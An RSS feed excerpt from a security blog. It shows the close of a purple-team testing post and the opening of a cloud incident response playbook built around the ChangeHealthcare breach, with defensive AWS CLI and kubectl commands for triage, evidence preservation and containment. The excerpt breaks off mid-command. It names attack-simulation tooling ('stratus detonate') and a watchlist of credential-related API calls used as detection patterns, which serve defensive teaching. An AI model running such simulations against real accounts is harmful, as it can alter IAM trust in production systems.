<li><strong>EP06</strong> — Secrets in CI/CD pipelines are structural, not behavioral. Pre-commit hooks and SAST scanning are the fix.</li>
<li><strong>EP07</strong> — IMDSv1 has no authentication. Any SSRF anywhere is a straight line to IAM credentials.</li>
<li><strong>EP08</strong> — <code class="" data-line="">--privileged</code> erases the boundary between container and host. Two commands from compromised pod to root on the node.</li>
<li><strong>EP09</strong> — Supply chain attacks target the trust chain, not the code. XZ Utils was two years of social engineering.</li>
<li><strong>EP10</strong> — Cloud lateral movement is IAM trust misconfiguration, not network pivoting. One overly broad <code class="" data-line="">sts:AssumeRole</code> trust policy is enough.</li>
<li><strong>EP11</strong> — eBPF sees what CloudTrail doesn&#8217;t — kernel-level process and network events in real time, before the attacker&#8217;s process exits.</li>
<li><strong>EP12</strong> — Incident response quality is inversely proportional to how much you practiced it. The organizations that contain in 4 hours practiced containing in 4 hours.</li>
<li><strong>EP13</strong> — Frequency of simulation is the variable that changes detection time.</li>
</ul>
<p>Every attack in this series exploited something that existed before the attacker arrived. The attacker didn&#8217;t create the IAM wildcard, the ungated CI/CD pipeline, the privileged pod, or the IMDSv1 endpoint. They found what was already there.</p>
<p>Purple team is how you find it first.</p>
<p>That&#8217;s the entire premise. Thirteen episodes to demonstrate it across ten attack paths. The practice is now yours to run.</p>
<hr />
<h2 id="whats-next-cross-series">What&#8217;s Next — Cross-Series</h2>
<p>The Purple Team Playbook ends here, but the technical depth that makes it work lives in three other series running in parallel on linuxcent.com:</p>
<p><strong>Kernel-level detection</strong> — the <a href="/what-is-ebpf-linux-kubernetes/">eBPF: From Kernel to Cloud</a> series covers everything from kernel hooks and BPF maps to Cilium and runtime security with Tetragon. EP11 in this series referenced eBPF detection; the eBPF series is where the implementation depth lives.</p>
<p><strong>Hardened base images</strong> — closing the OS-level attack surface that EP08 and EP09 in this series exploited starts at image build time. The <a href="/hardened-image-cicd-pipeline-gate/">hardened image pipeline gate</a> post covers building signed, minimal base images that eliminate entire attack surface categories before the container ever starts.</p>
<p><strong>The identity layer</strong> — every attack in this series ultimately had an IAM component: the overly permissive role, the wildcard policy, the cross-account trust boundary that was too broad. <a href="/what-is-cloud-iam/">What Is Cloud IAM</a> starts the 12-episode Cloud IAM series that maps the identity architecture underpinning all of it.</p>
<p>These series are designed to be read in parallel — techniques that appear as one-line references in this series get full treatment in the others. The eBPF series covers TC hooks and bpftrace in the depth that EP11 introduced. The IAM series covers <code class="" data-line="">sts:AssumeRole</code> trust policies in the depth that EP10 referenced.</p>
<p>Get notified when the next series starts → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Test account isolation is not optional.</strong> Every simulation in this series should run in a dedicated AWS account (or GCP project / Azure subscription) with no trust relationships to production accounts. One <code class="" data-line="">stratus detonate</code> command that runs in a prod account and modifies IAM trust policies is an incident, not an exercise. The cost of a test account is zero compared to the cost of a real incident.</p>
<p><strong>Stratus leaves state.</strong> If you interrupt a <code class="" data-line="">stratus detonate</code> run, the warmup infrastructure is still running and costing you money. Always run <code class="" data-line="">stratus cleanup</code> even after an interrupted exercise. Add it to a <code class="" data-line="">trap</code> in your exercise runbook.</p>
<p><strong>Detection rules written during debriefs may use syntax your SIEM doesn&#8217;t support.</strong> Rule logic written in a 30-minute debrief window gets reviewed quickly. Run each new rule against 30 days of historical logs before relying on it. A rule that has never matched against known-bad historical data may have a quiet logic error.</p>
<p><strong>Alerting ≠ detection.</strong> A rule that fires but routes to a queue no one monitors is not a detection. The debrief template asks &#8220;alert fired in [tool]&#8221; — confirm the alert also appeared in a queue that an on-call engineer would have seen. Route validation is part of the exercise.</p>
<p><strong>Scope creep kills exercises.</strong> The first quarter an exercise runs long, someone proposes &#8220;let&#8217;s just add two more techniques since we have time.&#8221; Don&#8217;t. Four well-documented techniques with full debrief and verified re-runs beat ten half-documented techniques with action items that never close. Keep the scope tight. Add techniques by rotating them into the next quarter&#8217;s slot.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Component</th>
<th>What It Is</th>
<th>When to Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Atomic Red Team</td>
<td>ATT&amp;CK-mapped host technique library</td>
<td>Host-level techniques: process execution, credential access, persistence</td>
</tr>
<tr>
<td>Stratus Red Team</td>
<td>Cloud-native attack simulations</td>
<td>AWS/GCP/Azure/K8s API-based attack paths</td>
</tr>
<tr>
<td>Custom scripts</td>
<td>Org-specific simulations</td>
<td>MFA fatigue, IdP-specific attacks, internal tool abuse</td>
</tr>
<tr>
<td>MTTD</td>
<td>Mean time to detect — measured per technique</td>
<td>Primary metric; track over time per technique</td>
</tr>
<tr>
<td>Circuit breaker</td>
<td>Named person who can halt an exercise</td>
<td>Safety control; must be identified in Week 1</td>
</tr>
<tr>
<td>Debrief template</td>
<td>Structured post-exercise documentation</td>
<td>Filled during debrief, committed to version control same day</td>
</tr>
<tr>
<td>Retirement threshold</td>
<td>MTTD &lt; 10 minutes</td>
<td>When to rotate a technique out of quarterly rotation</td>
</tr>
<tr>
<td>Coverage list</td>
<td>Techniques with verified detections</td>
<td>Auditable record of what your program has validated</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Continuous purple team testing infrastructure means running the same attack paths quarterly — not annually — until MTTD per technique drops below 10 minutes</li>
<li>The four-week exercise structure (scope → simulate → debrief → re-run) is the unit of work; deviating from it is how exercises produce action items instead of detection improvements</li>
<li>Atomic Red Team covers ATT&amp;CK-mapped host techniques; Stratus Red Team covers cloud-native attack simulations; custom scripts cover what neither does</li>
<li>The debrief template — filled in during the session, committed to version control before the session ends — is what separates exercises that improve detection from exercises that produce unread reports</li>
<li>MTTD &lt; 10 minutes for a technique means retire it and rotate in the next one from the backlog this series gave you</li>
<li>The frequency of simulation is the variable that changes detection time. Not the tools. Not the headcount. How often you practice.</li>
</ul>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-purple-team-testing-infrastructure%2F&amp;linkname=Continuous%20Purple%20Team%20Testing%3A%20Attack%20Simulations%20for%20Your%20Own%20Infrastructure" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-purple-team-testing-infrastructure%2F&amp;linkname=Continuous%20Purple%20Team%20Testing%3A%20Attack%20Simulations%20for%20Your%20Own%20Infrastructure" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-purple-team-testing-infrastructure%2F&amp;linkname=Continuous%20Purple%20Team%20Testing%3A%20Attack%20Simulations%20for%20Your%20Own%20Infrastructure" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-purple-team-testing-infrastructure%2F&amp;linkname=Continuous%20Purple%20Team%20Testing%3A%20Attack%20Simulations%20for%20Your%20Own%20Infrastructure" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-purple-team-testing-infrastructure%2F&amp;linkname=Continuous%20Purple%20Team%20Testing%3A%20Attack%20Simulations%20for%20Your%20Own%20Infrastructure" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-purple-team-testing-infrastructure%2F&amp;linkname=Continuous%20Purple%20Team%20Testing%3A%20Attack%20Simulations%20for%20Your%20Own%20Infrastructure" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-purple-team-testing-infrastructure%2F&amp;linkname=Continuous%20Purple%20Team%20Testing%3A%20Attack%20Simulations%20for%20Your%20Own%20Infrastructure" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcontinuous-purple-team-testing-infrastructure%2F&#038;title=Continuous%20Purple%20Team%20Testing%3A%20Attack%20Simulations%20for%20Your%20Own%20Infrastructure" data-a2a-url="https://linuxcent.com/continuous-purple-team-testing-infrastructure/" data-a2a-title="Continuous Purple Team Testing: Attack Simulations for Your Own Infrastructure"></a></p><p>The post <a href="https://linuxcent.com/continuous-purple-team-testing-infrastructure/">Continuous Purple Team Testing: Attack Simulations for Your Own Infrastructure</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/continuous-purple-team-testing-infrastructure/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1879</post-id>	</item>
		<item>
		<title>Cloud Incident Response Playbook: First 24 Hours After a Breach</title>
		<link>https://linuxcent.com/cloud-incident-response-playbook-24-hours/</link>
					<comments>https://linuxcent.com/cloud-incident-response-playbook-24-hours/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Wed, 08 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[ChangeHealthcare]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[Ransomware]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1876</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 15</span> <span class="rt-label rt-postfix">minutes</span></span>Cloud incident response: the first 24 hours determine whether ransomware becomes a data breach. The ChangeHealthcare playbook — what to isolate, what to preserve, what to communicate.</p>
<p>The post <a href="https://linuxcent.com/cloud-incident-response-playbook-24-hours/">Cloud Incident Response Playbook: First 24 Hours After a Breach</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 15</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a> → <a href="/ssrf-cloud-metadata-attack/">SSRF to cloud metadata</a> → <a href="/kubernetes-container-escape/">Kubernetes container escape</a> → <a href="/supply-chain-attack-detection/">Supply chain attack detection</a> → <a href="/cloud-lateral-movement-iam/">Cloud lateral movement IAM</a> → <a href="/detection-engineering-ebpf-cloud/">Detection engineering with eBPF</a> → <strong>Cloud Incident Response Playbook</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>A <strong>cloud incident response playbook</strong> is not documentation you write after a breach — it is the executable sequence your team runs in the first 24 hours, rehearsed before the breach happens</li>
<li>The ChangeHealthcare attack (February 2024) disrupted $22 billion in medical claims processing and exposed 190 million Americans&#8217; health data; the initial vector was a single set of stolen credentials and a Citrix portal with no MFA</li>
<li>Hours 0–1: declare the incident immediately, scope the blast radius, and start querying CloudTrail — do not investigate quietly</li>
<li>Hours 1–4: contain by revoking credentials and isolating infrastructure, but preserve evidence before any remediation — forensic snapshots and log exports before terminating anything</li>
<li>Hours 4–12: trace lateral movement via AssumeRole chains, identify persistence mechanisms (new IAM users/roles, Lambda backdoors, modified images), and confirm the full data access scope</li>
<li>Hours 12–24: eradicate from known-good baselines, not by patching compromised instances; recover dev → staging → prod; trigger regulatory notification timers</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> Cross-cutting — incident response is not mapped to a single OWASP category because a breach can enter through any of them. IR quality is the backstop when prevention fails across A01 (broken access control), A07 (authentication failures), A08 (supply chain), and every other vector. The 24-hour window covered here applies regardless of initial entry point.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────────┐
│            CLOUD INCIDENT RESPONSE: THE 24-HOUR SEQUENCE                │
│                                                                         │
│  ALERT                                                                  │
│    GuardDuty / Falco / anomaly detection fires                          │
│    ↓                                                                    │
│  TRIAGE  [0–1h]                                                         │
│    Declare incident → scope blast radius → open incident channel        │
│    Is the attacker still active? What data is at risk?                  │
│    ↓                                                                    │
│  CONTAIN  [1–4h]                                                        │
│    Revoke credentials → isolate compute → cordon K8s nodes             │
│    !! Do NOT terminate instances before snapshot !!                     │
│    ↓                                                                    │
│  PRESERVE  [1–4h, parallel with contain]                                │
│    EBS snapshots → CloudTrail log export → VPC Flow export              │
│    Forensic copy before any remediation changes the system state        │
│    ↓                                                                    │
│  INVESTIGATE  [4–12h]                                                   │
│    AssumeRole chain analysis → data access scope → persistence hunt     │
│    eBPF/Falco/Tetragon evidence if available (see EP11)                 │
│    ↓                                                                    │
│  ERADICATE  [12–24h]                                                    │
│    Remove persistence → rotate ALL credentials in blast radius          │
│    Replace compromised instances from known-good hardened AMI           │
│    ↓                                                                    │
│  RECOVER  [12–24h]                                                      │
│    dev → staging → prod sequence. Never prod-first.                     │
│    Verify monitoring before declaring all-clear                         │
│    ↓                                                                    │
│  LEARN                                                                  │
│    Post-incident review → timeline → regulatory notifications           │
│    Update playbook before the next incident                             │
└─────────────────────────────────────────────────────────────────────────┘
</code></pre>
<p>A <strong>cloud incident response playbook</strong> that exists only as a document is not an incident response capability. The sequence above is only useful if your team has rehearsed it — run it as a tabletop, run it in a chaos exercise, run it on a simulated breach in a non-prod account. The first time through this sequence should not be during an actual breach.</p>
<hr />
<h2 id="the-incident-changehealthcare-february-2024">The Incident: ChangeHealthcare (February 2024)</h2>
<p>On February 21, 2024, ransomware attacked Change Healthcare, a UnitedHealth Group subsidiary that processes roughly 50% of US medical claims. By the time containment completed, the damage was:</p>
<ul>
<li><strong>$22 billion</strong> in medical claims processing disrupted</li>
<li><strong>190 million</strong> Americans&#8217; health data potentially exposed</li>
<li>Hospitals unable to process insurance claims for weeks — some faced payroll crises because they couldn&#8217;t get reimbursed for care already delivered</li>
<li>A $22 million ransom paid to ALPHV/BlackCat, followed by ALPHV exit-scamming the affiliate (keeping the ransom), followed by RansomHub re-extorting with the same data</li>
</ul>
<p>The initial vector: a Citrix remote access portal with no MFA enforced. A single set of stolen credentials. That&#8217;s it.</p>
<p>What made the outcome as severe as it was: the attackers had nine days of dwell time before the ransomware detonated. Nine days of lateral movement, data staging, and backup discovery before the explosion. The first 24 hours after detection determine whether you contain an intrusion or respond to a full-scale breach. The ChangeHealthcare team was responding to a full-scale breach because the first 24 hours happened nine days before anyone knew there was an incident.</p>
<p>There is an inverse relationship between incident response quality and preparation investment. Teams that contain in four hours practiced containing in four hours. Teams that discover they have no forensic evidence discover that during the investigation, not before it.</p>
<hr />
<h2 id="hour-01-detect-and-declare">Hour 0–1: Detect and Declare</h2>
<h3 id="step-1-declare-do-not-investigate-quietly">Step 1: Declare — Do Not Investigate Quietly</h3>
<p>The instinct when something looks suspicious is to investigate before escalating. That instinct is wrong in cloud incidents. Every minute of quiet investigation is a minute the attacker may be escalating privileges, staging data, or discovering your backups.</p>
<p>Declare the incident immediately. The threshold for declaration is suspicion, not confirmation.</p>
<p><strong>Who to notify in the first 15 minutes:</strong><br />
&#8211; CISO (or on-call security lead)<br />
&#8211; Legal counsel (regulatory clock starts now; you need legal involved from minute one)<br />
&#8211; On-call SRE lead (you will need infrastructure access)<br />
&#8211; Communications lead (if external-facing systems are involved)</p>
<p><strong>Operational setup:</strong><br />
1. Create a dedicated incident Slack channel: <code class="" data-line="">#incident-YYYY-MM-DD-brief-descriptor</code><br />
2. Start an incident log — a shared doc, timestamped, with every action taken and by whom. This becomes your evidence log and your regulatory submission document.<br />
3. Assign a scribe. The incident commander should not also be taking notes.</p>
<h3 id="step-2-scope-the-blast-radius">Step 2: Scope the Blast Radius</h3>
<p>Before touching anything, answer three questions:</p>
<ol>
<li><strong>Is the attacker still active?</strong> (Is this ongoing or historical?)</li>
<li><strong>What is the potential blast radius?</strong> (Which accounts, regions, services, principals are in scope?)</li>
<li><strong>What data is at risk?</strong> (PII, credentials, intellectual property, PHI/PII with regulatory implications?)</li>
</ol>
<h3 id="step-3-initial-cloudtrail-query">Step 3: Initial CloudTrail Query</h3>
<pre><code class="" data-line=""># Run this before touching anything — you want a clean baseline
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=Username,AttributeValue=suspected-role \
  --start-time $(date -d &#039;1 hour ago&#039; --iso-8601=seconds) \
  --query &#039;Events[*].[EventTime,EventName,Resources[0].ResourceName]&#039; \
  --output table
</code></pre>
<pre><code class="" data-line=""># If you don&#039;t know the principal yet — look for unusual API activity
# across all principals in the last hour
aws cloudtrail lookup-events \
  --start-time $(date -d &#039;1 hour ago&#039; --iso-8601=seconds) \
  --query &#039;Events[*].{Time:EventTime,User:Username,Event:EventName,Source:EventSource}&#039; \
  --output json | \
  jq &#039;sort_by(.Time) | reverse | .[:50]&#039;
# Look for: CreateUser, AttachRolePolicy, PutRolePolicy, CreateAccessKey,
#           GetSecretValue, ListBuckets, DescribeInstances in rapid succession
</code></pre>
<pre><code class="" data-line=""># Check GuardDuty for the triggering finding
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty get-findings \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --finding-ids $(aws guardduty list-findings \
    --detector-id &quot;${DETECTOR_ID}&quot; \
    --finding-criteria &#039;{
      &quot;Criterion&quot;: {
        &quot;updatedAt&quot;: {&quot;Gte&quot;: &#039;$(date -d &#039;24 hours ago&#039; +%s000)&#039;}
      }
    }&#039; \
    --sort-criteria &#039;{&quot;AttributeName&quot;:&quot;updatedAt&quot;,&quot;OrderBy&quot;:&quot;DESC&quot;}&#039; \
    --max-results 10 \
    --query &#039;FindingIds&#039; --output text) | \
  jq &#039;.Findings[] | {type: .Type, severity: .Severity, time: .UpdatedAt, detail: .Description}&#039;
</code></pre>
<hr />
<h2 id="hour-14-contain-without-destroying-evidence">Hour 1–4: Contain Without Destroying Evidence</h2>
<p>The central tension in early containment: you need to stop the bleeding, but you also need the evidence. Terminating a compromised EC2 instance stops the threat on that instance — it also destroys the process table, network connections, in-memory artifacts, and filesystem state that the investigation needs.</p>
<p><strong>The order of operations:</strong><br />
1. Preserve (snapshot, export logs)<br />
2. Contain (revoke credentials, isolate network)<br />
3. Never terminate before step 1</p>
<h3 id="evidence-preservation-before-any-containment-action">Evidence Preservation (Before Any Containment Action)</h3>
<pre><code class="" data-line=""># Create EBS snapshots of ALL volumes on compromised instances
# Do this FIRST — before network isolation, before anything
aws ec2 describe-instances \
  --instance-ids i-compromised-instance-id \
  --query &#039;Reservations[].Instances[].BlockDeviceMappings[].Ebs.VolumeId&#039; \
  --output text | tr &#039;\t&#039; &#039;\n&#039; | \
  while read vol_id; do
    echo &quot;Snapshotting volume: ${vol_id}&quot;
    aws ec2 create-snapshot \
      --volume-id &quot;${vol_id}&quot; \
      --description &quot;IR evidence - $(date --iso-8601) - ${vol_id}&quot; \
      --tag-specifications &quot;ResourceType=snapshot,Tags=[{Key=incident,Value=active},{Key=preserve,Value=legal-hold}]&quot;
  done
</code></pre>
<pre><code class="" data-line=""># Export CloudTrail logs for the incident window to a local IR evidence directory
# Use a time window that starts 24 hours before the suspected compromise
aws s3 sync \
  s3://your-cloudtrail-bucket/AWSLogs/123456789012/CloudTrail/ \
  ./ir-evidence/cloudtrail/ \
  --exclude &quot;*&quot; \
  --include &quot;*/2024/02/21/*&quot; \
  --include &quot;*/2024/02/22/*&quot;
</code></pre>
<pre><code class="" data-line=""># Export VPC Flow Logs for the incident window
# These show network connections that CloudTrail doesn&#039;t capture
aws logs filter-log-events \
  --log-group-name /aws/vpc/flowlogs \
  --start-time $(date -d &#039;24 hours ago&#039; +%s000) \
  --end-time $(date +%s000) \
  --query &#039;events[*].message&#039; \
  --output text &gt; ./ir-evidence/vpc-flow-logs.txt
</code></pre>
<h3 id="containment-action-1-revoke-the-compromised-credential">Containment Action 1: Revoke the Compromised Credential</h3>
<pre><code class="" data-line=""># Option A: Disable an IAM user&#039;s access key (reversible — preserves key for forensics)
aws iam update-access-key \
  --user-name compromised-user \
  --access-key-id AKIAIOSFODNN7EXAMPLE \
  --status Inactive

# Option B: If the compromised principal is an IAM role —
# attach a deny-all inline policy (fastest, takes effect immediately)
aws iam put-role-policy \
  --role-name compromised-role \
  --policy-name incident-deny-all \
  --policy-document &#039;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [
      {
        &quot;Sid&quot;: &quot;IncidentDenyAll&quot;,
        &quot;Effect&quot;: &quot;Deny&quot;,
        &quot;Action&quot;: &quot;*&quot;,
        &quot;Resource&quot;: &quot;*&quot;
      }
    ]
  }&#039;
</code></pre>
<pre><code class="" data-line=""># Option C: If you need to revoke ALL active sessions for a role immediately
# (active STS sessions are not invalidated by the deny policy alone
#  until the session token expires — use this to force immediate revocation)
aws iam put-role-policy \
  --role-name compromised-role \
  --policy-name incident-deny-all \
  --policy-document &#039;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [
      {
        &quot;Effect&quot;: &quot;Deny&quot;,
        &quot;Action&quot;: &quot;*&quot;,
        &quot;Resource&quot;: &quot;*&quot;,
        &quot;Condition&quot;: {
          &quot;DateLessThan&quot;: {
            &quot;aws:TokenIssueTime&quot;: &quot;&#039;$(date --iso-8601=seconds)&#039;&quot;
          }
        }
      }
    ]
  }&#039;
# This denies all requests where the token was issued before right now
# — effectively invalidating all existing sessions for this role
</code></pre>
<h3 id="containment-action-2-isolate-affected-ec2-instances">Containment Action 2: Isolate Affected EC2 Instances</h3>
<pre><code class="" data-line=""># Create an isolation security group — no ingress, no egress
# except SSH from your IR bastion (for forensic access if needed)
ISOLATION_SG=$(aws ec2 create-security-group \
  --group-name &quot;incident-isolation-$(date +%Y%m%d)&quot; \
  --description &quot;Incident isolation - no network access except IR bastion&quot; \
  --vpc-id vpc-your-vpc-id \
  --query &#039;GroupId&#039; \
  --output text)

echo &quot;Isolation SG created: ${ISOLATION_SG}&quot;

# Add ingress rule: only from IR bastion (for forensic access)
# Remove this rule entirely if you don&#039;t need it
aws ec2 authorize-security-group-ingress \
  --group-id &quot;${ISOLATION_SG}&quot; \
  --protocol tcp \
  --port 22 \
  --cidr YOUR-IR-BASTION-IP/32

# Apply the isolation SG to the compromised instance
# This replaces all existing security groups — the instance is now isolated
aws ec2 modify-instance-attribute \
  --instance-id i-compromised-instance-id \
  --groups &quot;${ISOLATION_SG}&quot;
</code></pre>
<p><strong>Important:</strong> Do not terminate the instance. The isolated instance remains available for forensic analysis via the IR bastion. Termination destroys volatile evidence. You terminate after the investigation is complete and legal has cleared the evidence for destruction.</p>
<h3 id="containment-action-3-kubernetes-cordon-dont-delete">Containment Action 3: Kubernetes — Cordon, Don&#8217;t Delete</h3>
<pre><code class="" data-line=""># Cordon the compromised node — prevents new pod scheduling
kubectl cordon node/compromised-node-name

# Label the node for IR tracking
kubectl label node/compromised-node-name incident=active preserve=legal-hold

# If a specific pod is the concern — do NOT kubectl delete pod
# Instead, collect forensic information first
POD_NAME=&quot;compromised-pod&quot;
NAMESPACE=&quot;production&quot;

# Capture the full pod spec and status
kubectl get pod &quot;${POD_NAME}&quot; -n &quot;${NAMESPACE}&quot; -o json &gt; \
  ./ir-evidence/pod-spec-${POD_NAME}.json

# Capture environment variables (may contain credential evidence)
kubectl exec &quot;${POD_NAME}&quot; -n &quot;${NAMESPACE}&quot; -- env &gt; \
  ./ir-evidence/pod-env-${POD_NAME}.txt 2&gt;/dev/null

# Capture running processes
kubectl exec &quot;${POD_NAME}&quot; -n &quot;${NAMESPACE}&quot; -- ps auxf &gt; \
  ./ir-evidence/pod-processes-${POD_NAME}.txt 2&gt;/dev/null

# Capture network connections
kubectl exec &quot;${POD_NAME}&quot; -n &quot;${NAMESPACE}&quot; -- ss -tunapw &gt; \
  ./ir-evidence/pod-netstat-${POD_NAME}.txt 2&gt;/dev/null

# Now you can delete the pod if needed — you have the evidence
</code></pre>
<hr />
<h2 id="hour-412-investigate-the-blast-radius">Hour 4–12: Investigate the Blast Radius</h2>
<p>Containment stops the active threat. Investigation answers: what did they do, where did they go, and what did they touch?</p>
<h3 id="trace-the-lateral-movement">Trace the Lateral Movement</h3>
<p>The most important lateral movement mechanism in AWS is AssumeRole chaining — a compromised principal assumes a role, which has permissions to assume another role, building a privilege escalation path. <a href="/aws-iam-privilege-escalation/">IAM attack path reconstruction</a> requires following this chain through CloudTrail.</p>
<pre><code class="" data-line=""># Find all AssumeRole events from the compromised principal
# This shows every role the attacker assumed after initial compromise
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --end-time &quot;2024-02-22T23:59:59Z&quot; \
  --output json | \
  jq &#039;.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    select(.userIdentity.arn | contains(&quot;compromised-role&quot;)) | 
    {
      time: .eventTime,
      caller: .userIdentity.arn,
      assumed_role: .requestParameters.roleArn,
      session_name: .requestParameters.roleSessionName,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<pre><code class="" data-line=""># Follow the chain — get ALL roles assumed during the incident window
# regardless of source, then trace connections manually
aws cloudtrail lookup-events \
